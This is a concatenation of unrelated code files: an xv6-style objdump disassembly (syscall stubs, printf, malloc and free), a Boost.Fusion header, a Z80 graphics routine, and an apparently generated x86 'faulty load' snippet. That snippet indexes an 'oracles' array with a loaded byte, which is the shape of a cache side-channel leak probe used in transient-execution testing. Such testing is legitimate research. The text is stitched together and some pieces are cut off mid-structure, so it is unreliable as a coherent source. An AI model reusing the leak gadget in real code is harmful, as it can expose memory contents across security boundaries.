3a8: b8 12 00 00 00 mov $0x12,%eax
3ad: cd 40 int $0x40
3af: c3 ret
000003b0 <fstat>:
SYSCALL(fstat)
3b0: b8 08 00 00 00 mov $0x8,%eax
3b5: cd 40 int $0x40
3b7: c3 ret
000003b8 <link>:
SYSCALL(link)
3b8: b8 13 00 00 00 mov $0x13,%eax
3bd: cd 40 int $0x40
3bf: c3 ret
000003c0 <mkdir>:
SYSCALL(mkdir)
3c0: b8 14 00 00 00 mov $0x14,%eax
3c5: cd 40 int $0x40
3c7: c3 ret
000003c8 <chdir>:
SYSCALL(chdir)
3c8: b8 09 00 00 00 mov $0x9,%eax
3cd: cd 40 int $0x40
3cf: c3 ret
000003d0 <dup>:
SYSCALL(dup)
3d0: b8 0a 00 00 00 mov $0xa,%eax
3d5: cd 40 int $0x40
3d7: c3 ret
000003d8 <getpid>:
SYSCALL(getpid)
3d8: b8 0b 00 00 00 mov $0xb,%eax
3dd: cd 40 int $0x40
3df: c3 ret
000003e0 <sbrk>:
SYSCALL(sbrk)
3e0: b8 0c 00 00 00 mov $0xc,%eax
3e5: cd 40 int $0x40
3e7: c3 ret
000003e8 <sleep>:
SYSCALL(sleep)
3e8: b8 0d 00 00 00 mov $0xd,%eax
3ed: cd 40 int $0x40
3ef: c3 ret
000003f0 <uptime>:
SYSCALL(uptime)
3f0: b8 0e 00 00 00 mov $0xe,%eax
3f5: cd 40 int $0x40
3f7: c3 ret
000003f8 <setVariable>:
SYSCALL(setVariable)
3f8: b8 17 00 00 00 mov $0x17,%eax
3fd: cd 40 int $0x40
3ff: c3 ret
00000400 <getVariable>:
SYSCALL(getVariable)
400: b8 18 00 00 00 mov $0x18,%eax
405: cd 40 int $0x40
407: c3 ret
00000408 <remVariable>:
SYSCALL(remVariable)
408: b8 19 00 00 00 mov $0x19,%eax
40d: cd 40 int $0x40
40f: c3 ret
00000410 <wait2>:
SYSCALL(wait2)
410: b8 1a 00 00 00 mov $0x1a,%eax
415: cd 40 int $0x40
417: c3 ret
418: 66 90 xchg %ax,%ax
41a: 66 90 xchg %ax,%ax
41c: 66 90 xchg %ax,%ax
41e: 66 90 xchg %ax,%ax
00000420 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
420: 55 push %ebp
421: 89 e5 mov %esp,%ebp
423: 57 push %edi
424: 56 push %esi
425: 53 push %ebx
426: 89 c6 mov %eax,%esi
428: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
42b: 8b 5d 08 mov 0x8(%ebp),%ebx
42e: 85 db test %ebx,%ebx
430: 74 7e je 4b0 <printint+0x90>
432: 89 d0 mov %edx,%eax
434: c1 e8 1f shr $0x1f,%eax
437: 84 c0 test %al,%al
439: 74 75 je 4b0 <printint+0x90>
neg = 1;
x = -xx;
43b: 89 d0 mov %edx,%eax
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
neg = 1;
43d: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
x = -xx;
444: f7 d8 neg %eax
446: 89 75 c0 mov %esi,-0x40(%ebp)
} else {
x = xx;
}
i = 0;
449: 31 ff xor %edi,%edi
44b: 8d 5d d7 lea -0x29(%ebp),%ebx
44e: 89 ce mov %ecx,%esi
450: eb 08 jmp 45a <printint+0x3a>
452: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
do{
buf[i++] = digits[x % base];
458: 89 cf mov %ecx,%edi
45a: 31 d2 xor %edx,%edx
45c: 8d 4f 01 lea 0x1(%edi),%ecx
45f: f7 f6 div %esi
461: 0f b6 92 f0 07 00 00 movzbl 0x7f0(%edx),%edx
}while((x /= base) != 0);
468: 85 c0 test %eax,%eax
x = xx;
}
i = 0;
do{
buf[i++] = digits[x % base];
46a: 88 14 0b mov %dl,(%ebx,%ecx,1)
}while((x /= base) != 0);
46d: 75 e9 jne 458 <printint+0x38>
if(neg)
46f: 8b 45 c4 mov -0x3c(%ebp),%eax
472: 8b 75 c0 mov -0x40(%ebp),%esi
475: 85 c0 test %eax,%eax
477: 74 08 je 481 <printint+0x61>
buf[i++] = '-';
479: c6 44 0d d8 2d movb $0x2d,-0x28(%ebp,%ecx,1)
47e: 8d 4f 02 lea 0x2(%edi),%ecx
while(--i >= 0)
481: 8d 79 ff lea -0x1(%ecx),%edi
484: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
488: 0f b6 44 3d d8 movzbl -0x28(%ebp,%edi,1),%eax
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
48d: 83 ec 04 sub $0x4,%esp
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
490: 83 ef 01 sub $0x1,%edi
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
493: 6a 01 push $0x1
495: 53 push %ebx
496: 56 push %esi
497: 88 45 d7 mov %al,-0x29(%ebp)
49a: e8 d9 fe ff ff call 378 <write>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
49f: 83 c4 10 add $0x10,%esp
4a2: 83 ff ff cmp $0xffffffff,%edi
4a5: 75 e1 jne 488 <printint+0x68>
putc(fd, buf[i]);
}
4a7: 8d 65 f4 lea -0xc(%ebp),%esp
4aa: 5b pop %ebx
4ab: 5e pop %esi
4ac: 5f pop %edi
4ad: 5d pop %ebp
4ae: c3 ret
4af: 90 nop
neg = 0;
if(sgn && xx < 0){
neg = 1;
x = -xx;
} else {
x = xx;
4b0: 89 d0 mov %edx,%eax
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
4b2: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
4b9: eb 8b jmp 446 <printint+0x26>
4bb: 90 nop
4bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
000004c0 <printf>:
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
4c0: 55 push %ebp
4c1: 89 e5 mov %esp,%ebp
4c3: 57 push %edi
4c4: 56 push %esi
4c5: 53 push %ebx
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
4c6: 8d 45 10 lea 0x10(%ebp),%eax
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
4c9: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
4cc: 8b 75 0c mov 0xc(%ebp),%esi
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
4cf: 8b 7d 08 mov 0x8(%ebp),%edi
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
4d2: 89 45 d0 mov %eax,-0x30(%ebp)
4d5: 0f b6 1e movzbl (%esi),%ebx
4d8: 83 c6 01 add $0x1,%esi
4db: 84 db test %bl,%bl
4dd: 0f 84 b0 00 00 00 je 593 <printf+0xd3>
4e3: 31 d2 xor %edx,%edx
4e5: eb 39 jmp 520 <printf+0x60>
4e7: 89 f6 mov %esi,%esi
4e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
4f0: 83 f8 25 cmp $0x25,%eax
4f3: 89 55 d4 mov %edx,-0x2c(%ebp)
state = '%';
4f6: ba 25 00 00 00 mov $0x25,%edx
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
4fb: 74 18 je 515 <printf+0x55>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
4fd: 8d 45 e2 lea -0x1e(%ebp),%eax
500: 83 ec 04 sub $0x4,%esp
503: 88 5d e2 mov %bl,-0x1e(%ebp)
506: 6a 01 push $0x1
508: 50 push %eax
509: 57 push %edi
50a: e8 69 fe ff ff call 378 <write>
50f: 8b 55 d4 mov -0x2c(%ebp),%edx
512: 83 c4 10 add $0x10,%esp
515: 83 c6 01 add $0x1,%esi
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
518: 0f b6 5e ff movzbl -0x1(%esi),%ebx
51c: 84 db test %bl,%bl
51e: 74 73 je 593 <printf+0xd3>
c = fmt[i] & 0xff;
if(state == 0){
520: 85 d2 test %edx,%edx
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
522: 0f be cb movsbl %bl,%ecx
525: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
528: 74 c6 je 4f0 <printf+0x30>
if(c == '%'){
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
52a: 83 fa 25 cmp $0x25,%edx
52d: 75 e6 jne 515 <printf+0x55>
if(c == 'd'){
52f: 83 f8 64 cmp $0x64,%eax
532: 0f 84 f8 00 00 00 je 630 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
538: 81 e1 f7 00 00 00 and $0xf7,%ecx
53e: 83 f9 70 cmp $0x70,%ecx
541: 74 5d je 5a0 <printf+0xe0>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
543: 83 f8 73 cmp $0x73,%eax
546: 0f 84 84 00 00 00 je 5d0 <printf+0x110>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
54c: 83 f8 63 cmp $0x63,%eax
54f: 0f 84 ea 00 00 00 je 63f <printf+0x17f>
putc(fd, *ap);
ap++;
} else if(c == '%'){
555: 83 f8 25 cmp $0x25,%eax
558: 0f 84 c2 00 00 00 je 620 <printf+0x160>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
55e: 8d 45 e7 lea -0x19(%ebp),%eax
561: 83 ec 04 sub $0x4,%esp
564: c6 45 e7 25 movb $0x25,-0x19(%ebp)
568: 6a 01 push $0x1
56a: 50 push %eax
56b: 57 push %edi
56c: e8 07 fe ff ff call 378 <write>
571: 83 c4 0c add $0xc,%esp
574: 8d 45 e6 lea -0x1a(%ebp),%eax
577: 88 5d e6 mov %bl,-0x1a(%ebp)
57a: 6a 01 push $0x1
57c: 50 push %eax
57d: 57 push %edi
57e: 83 c6 01 add $0x1,%esi
581: e8 f2 fd ff ff call 378 <write>
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
586: 0f b6 5e ff movzbl -0x1(%esi),%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
58a: 83 c4 10 add $0x10,%esp
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
58d: 31 d2 xor %edx,%edx
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
58f: 84 db test %bl,%bl
591: 75 8d jne 520 <printf+0x60>
putc(fd, c);
}
state = 0;
}
}
}
593: 8d 65 f4 lea -0xc(%ebp),%esp
596: 5b pop %ebx
597: 5e pop %esi
598: 5f pop %edi
599: 5d pop %ebp
59a: c3 ret
59b: 90 nop
59c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
5a0: 83 ec 0c sub $0xc,%esp
5a3: b9 10 00 00 00 mov $0x10,%ecx
5a8: 6a 00 push $0x0
5aa: 8b 5d d0 mov -0x30(%ebp),%ebx
5ad: 89 f8 mov %edi,%eax
5af: 8b 13 mov (%ebx),%edx
5b1: e8 6a fe ff ff call 420 <printint>
ap++;
5b6: 89 d8 mov %ebx,%eax
5b8: 83 c4 10 add $0x10,%esp
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
5bb: 31 d2 xor %edx,%edx
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
ap++;
5bd: 83 c0 04 add $0x4,%eax
5c0: 89 45 d0 mov %eax,-0x30(%ebp)
5c3: e9 4d ff ff ff jmp 515 <printf+0x55>
5c8: 90 nop
5c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
} else if(c == 's'){
s = (char*)*ap;
5d0: 8b 45 d0 mov -0x30(%ebp),%eax
5d3: 8b 18 mov (%eax),%ebx
ap++;
5d5: 83 c0 04 add $0x4,%eax
5d8: 89 45 d0 mov %eax,-0x30(%ebp)
if(s == 0)
5db: 85 db test %ebx,%ebx
5dd: 74 7c je 65b <printf+0x19b>
s = "(null)";
while(*s != 0){
5df: 0f b6 03 movzbl (%ebx),%eax
5e2: 84 c0 test %al,%al
5e4: 74 29 je 60f <printf+0x14f>
5e6: 8d 76 00 lea 0x0(%esi),%esi
5e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
5f0: 88 45 e3 mov %al,-0x1d(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
5f3: 8d 45 e3 lea -0x1d(%ebp),%eax
5f6: 83 ec 04 sub $0x4,%esp
5f9: 6a 01 push $0x1
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
5fb: 83 c3 01 add $0x1,%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
5fe: 50 push %eax
5ff: 57 push %edi
600: e8 73 fd ff ff call 378 <write>
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
605: 0f b6 03 movzbl (%ebx),%eax
608: 83 c4 10 add $0x10,%esp
60b: 84 c0 test %al,%al
60d: 75 e1 jne 5f0 <printf+0x130>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
60f: 31 d2 xor %edx,%edx
611: e9 ff fe ff ff jmp 515 <printf+0x55>
616: 8d 76 00 lea 0x0(%esi),%esi
619: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
620: 83 ec 04 sub $0x4,%esp
623: 88 5d e5 mov %bl,-0x1b(%ebp)
626: 8d 45 e5 lea -0x1b(%ebp),%eax
629: 6a 01 push $0x1
62b: e9 4c ff ff ff jmp 57c <printf+0xbc>
} else {
putc(fd, c);
}
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
630: 83 ec 0c sub $0xc,%esp
633: b9 0a 00 00 00 mov $0xa,%ecx
638: 6a 01 push $0x1
63a: e9 6b ff ff ff jmp 5aa <printf+0xea>
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
putc(fd, *ap);
63f: 8b 5d d0 mov -0x30(%ebp),%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
642: 83 ec 04 sub $0x4,%esp
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
putc(fd, *ap);
645: 8b 03 mov (%ebx),%eax
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
647: 6a 01 push $0x1
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
putc(fd, *ap);
649: 88 45 e4 mov %al,-0x1c(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
64c: 8d 45 e4 lea -0x1c(%ebp),%eax
64f: 50 push %eax
650: 57 push %edi
651: e8 22 fd ff ff call 378 <write>
656: e9 5b ff ff ff jmp 5b6 <printf+0xf6>
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
65b: b8 28 00 00 00 mov $0x28,%eax
ap++;
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
660: bb e9 07 00 00 mov $0x7e9,%ebx
665: eb 89 jmp 5f0 <printf+0x130>
667: 66 90 xchg %ax,%ax
669: 66 90 xchg %ax,%ax
66b: 66 90 xchg %ax,%ax
66d: 66 90 xchg %ax,%ax
66f: 90 nop
00000670 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
670: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
671: a1 18 0b 00 00 mov 0xb18,%eax
static Header base;
static Header *freep;
void
free(void *ap)
{
676: 89 e5 mov %esp,%ebp
678: 57 push %edi
679: 56 push %esi
67a: 53 push %ebx
67b: 8b 5d 08 mov 0x8(%ebp),%ebx
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
67e: 8b 10 mov (%eax),%edx
void
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
680: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
683: 39 c8 cmp %ecx,%eax
685: 73 19 jae 6a0 <free+0x30>
687: 89 f6 mov %esi,%esi
689: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
690: 39 d1 cmp %edx,%ecx
692: 72 1c jb 6b0 <free+0x40>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
694: 39 d0 cmp %edx,%eax
696: 73 18 jae 6b0 <free+0x40>
static Header base;
static Header *freep;
void
free(void *ap)
{
698: 89 d0 mov %edx,%eax
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
69a: 39 c8 cmp %ecx,%eax
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
69c: 8b 10 mov (%eax),%edx
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
69e: 72 f0 jb 690 <free+0x20>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
6a0: 39 d0 cmp %edx,%eax
6a2: 72 f4 jb 698 <free+0x28>
6a4: 39 d1 cmp %edx,%ecx
6a6: 73 f0 jae 698 <free+0x28>
6a8: 90 nop
6a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
break;
if(bp + bp->s.size == p->s.ptr){
6b0: 8b 73 fc mov -0x4(%ebx),%esi
6b3: 8d 3c f1 lea (%ecx,%esi,8),%edi
6b6: 39 fa cmp %edi,%edx
6b8: 74 19 je 6d3 <free+0x63>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
6ba: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
6bd: 8b 50 04 mov 0x4(%eax),%edx
6c0: 8d 34 d0 lea (%eax,%edx,8),%esi
6c3: 39 f1 cmp %esi,%ecx
6c5: 74 23 je 6ea <free+0x7a>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
6c7: 89 08 mov %ecx,(%eax)
freep = p;
6c9: a3 18 0b 00 00 mov %eax,0xb18
}
6ce: 5b pop %ebx
6cf: 5e pop %esi
6d0: 5f pop %edi
6d1: 5d pop %ebp
6d2: c3 ret
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
bp->s.size += p->s.ptr->s.size;
6d3: 03 72 04 add 0x4(%edx),%esi
6d6: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
6d9: 8b 10 mov (%eax),%edx
6db: 8b 12 mov (%edx),%edx
6dd: 89 53 f8 mov %edx,-0x8(%ebx)
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
6e0: 8b 50 04 mov 0x4(%eax),%edx
6e3: 8d 34 d0 lea (%eax,%edx,8),%esi
6e6: 39 f1 cmp %esi,%ecx
6e8: 75 dd jne 6c7 <free+0x57>
p->s.size += bp->s.size;
6ea: 03 53 fc add -0x4(%ebx),%edx
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
freep = p;
6ed: a3 18 0b 00 00 mov %eax,0xb18
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
p->s.size += bp->s.size;
6f2: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
6f5: 8b 53 f8 mov -0x8(%ebx),%edx
6f8: 89 10 mov %edx,(%eax)
} else
p->s.ptr = bp;
freep = p;
}
6fa: 5b pop %ebx
6fb: 5e pop %esi
6fc: 5f pop %edi
6fd: 5d pop %ebp
6fe: c3 ret
6ff: 90 nop
00000700 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
700: 55 push %ebp
701: 89 e5 mov %esp,%ebp
703: 57 push %edi
704: 56 push %esi
705: 53 push %ebx
706: 83 ec 0c sub $0xc,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
709: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
70c: 8b 15 18 0b 00 00 mov 0xb18,%edx
malloc(uint nbytes)
{
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
712: 8d 78 07 lea 0x7(%eax),%edi
715: c1 ef 03 shr $0x3,%edi
718: 83 c7 01 add $0x1,%edi
if((prevp = freep) == 0){
71b: 85 d2 test %edx,%edx
71d: 0f 84 93 00 00 00 je 7b6 <malloc+0xb6>
723: 8b 02 mov (%edx),%eax
725: 8b 48 04 mov 0x4(%eax),%ecx
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
728: 39 cf cmp %ecx,%edi
72a: 76 64 jbe 790 <malloc+0x90>
72c: 81 ff 00 10 00 00 cmp $0x1000,%edi
732: bb 00 10 00 00 mov $0x1000,%ebx
737: 0f 43 df cmovae %edi,%ebx
char *p;
Header *hp;
if(nu < 4096)
nu = 4096;
p = sbrk(nu * sizeof(Header));
73a: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi
741: eb 0e jmp 751 <malloc+0x51>
743: 90 nop
744: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
748: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
74a: 8b 48 04 mov 0x4(%eax),%ecx
74d: 39 cf cmp %ecx,%edi
74f: 76 3f jbe 790 <malloc+0x90>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
751: 39 05 18 0b 00 00 cmp %eax,0xb18
757: 89 c2 mov %eax,%edx
759: 75 ed jne 748 <malloc+0x48>
char *p;
Header *hp;
if(nu < 4096)
nu = 4096;
p = sbrk(nu * sizeof(Header));
75b: 83 ec 0c sub $0xc,%esp
75e: 56 push %esi
75f: e8 7c fc ff ff call 3e0 <sbrk>
if(p == (char*)-1)
764: 83 c4 10 add $0x10,%esp
767: 83 f8 ff cmp $0xffffffff,%eax
76a: 74 1c je 788 <malloc+0x88>
return 0;
hp = (Header*)p;
hp->s.size = nu;
76c: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
76f: 83 ec 0c sub $0xc,%esp
772: 83 c0 08 add $0x8,%eax
775: 50 push %eax
776: e8 f5 fe ff ff call 670 <free>
return freep;
77b: 8b 15 18 0b 00 00 mov 0xb18,%edx
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
781: 83 c4 10 add $0x10,%esp
784: 85 d2 test %edx,%edx
786: 75 c0 jne 748 <malloc+0x48>
return 0;
788: 31 c0 xor %eax,%eax
78a: eb 1c jmp 7a8 <malloc+0xa8>
78c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
if(p->s.size == nunits)
790: 39 cf cmp %ecx,%edi
792: 74 1c je 7b0 <malloc+0xb0>
prevp->s.ptr = p->s.ptr;
else {
p->s.size -= nunits;
794: 29 f9 sub %edi,%ecx
796: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
799: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
79c: 89 78 04 mov %edi,0x4(%eax)
}
freep = prevp;
79f: 89 15 18 0b 00 00 mov %edx,0xb18
return (void*)(p + 1);
7a5: 83 c0 08 add $0x8,%eax
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
}
7a8: 8d 65 f4 lea -0xc(%ebp),%esp
7ab: 5b pop %ebx
7ac: 5e pop %esi
7ad: 5f pop %edi
7ae: 5d pop %ebp
7af: c3 ret
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
if(p->s.size == nunits)
prevp->s.ptr = p->s.ptr;
7b0: 8b 08 mov (%eax),%ecx
7b2: 89 0a mov %ecx,(%edx)
7b4: eb e9 jmp 79f <malloc+0x9f>
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
7b6: c7 05 18 0b 00 00 1c movl $0xb1c,0xb18
7bd: 0b 00 00
7c0: c7 05 1c 0b 00 00 1c movl $0xb1c,0xb1c
7c7: 0b 00 00
base.s.size = 0;
7ca: b8 1c 0b 00 00 mov $0xb1c,%eax
7cf: c7 05 20 0b 00 00 00 movl $0x0,0xb20
7d6: 00 00 00
7d9: e9 4e ff ff ff jmp 72c <malloc+0x2c>
|
/*=============================================================================
Copyright (c) 2005 Joel de Guzman
Distributed under the Boost Software License, Version 1.0. (See accompanying
file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
==============================================================================*/
#if !defined(FUSION_SET_FORWARD_09162005_1102)
#define FUSION_SET_FORWARD_09162005_1102
#include <boost/fusion/container/set/limits.hpp>
#include <boost/preprocessor/repetition/enum_params_with_a_default.hpp>
namespace boost { namespace fusion
{
struct void_;
struct set_tag;
struct set_iterator_tag;
template <
BOOST_PP_ENUM_PARAMS_WITH_A_DEFAULT(
FUSION_MAX_SET_SIZE, typename T, void_)
>
struct set;
}}
#endif
|
;Usage: c_point(struct *pixel)
;Result is true/false
SECTION code_graphics
PUBLIC c_point
PUBLIC _c_point
EXTERN c_pointxy
EXTERN swapgfxbk
EXTERN swapgfxbk1
INCLUDE "graphics/grafix.inc"
.c_point
._c_point
IF __CPU_INTEL__ | __CPU_GBZ80__
pop bc
pop hl
pop de
push de
push hl
push bc
ld h,e
ELSE
push ix
ld ix,2
add ix,sp
ld l,(ix+2)
ld h,(ix+4)
ENDIF
IF NEED_swapgfxbk = 1
call swapgfxbk
ENDIF
call c_pointxy
IF NEED_swapgfxbk = 1
push af
call swapgfxbk1
pop af
ENDIF
IF !__CPU_INTEL__ & !__CPU_GBZ80__
pop ix
ENDIF
ld hl,1
ret nz ;pixel set
dec hl
ret
|
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r14
push %r15
push %rcx
push %rsi
// Faulty Load
lea addresses_A+0x2063, %r15
nop
nop
nop
cmp %r14, %r14
movups (%r15), %xmm5
vpextrq $0, %xmm5, %rsi
lea oracles, %r15
and $0xff, %rsi
shlq $12, %rsi
mov (%r15,%rsi,1), %rsi
pop %rsi
pop %rcx
pop %r15
pop %r14
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'00': 3078}
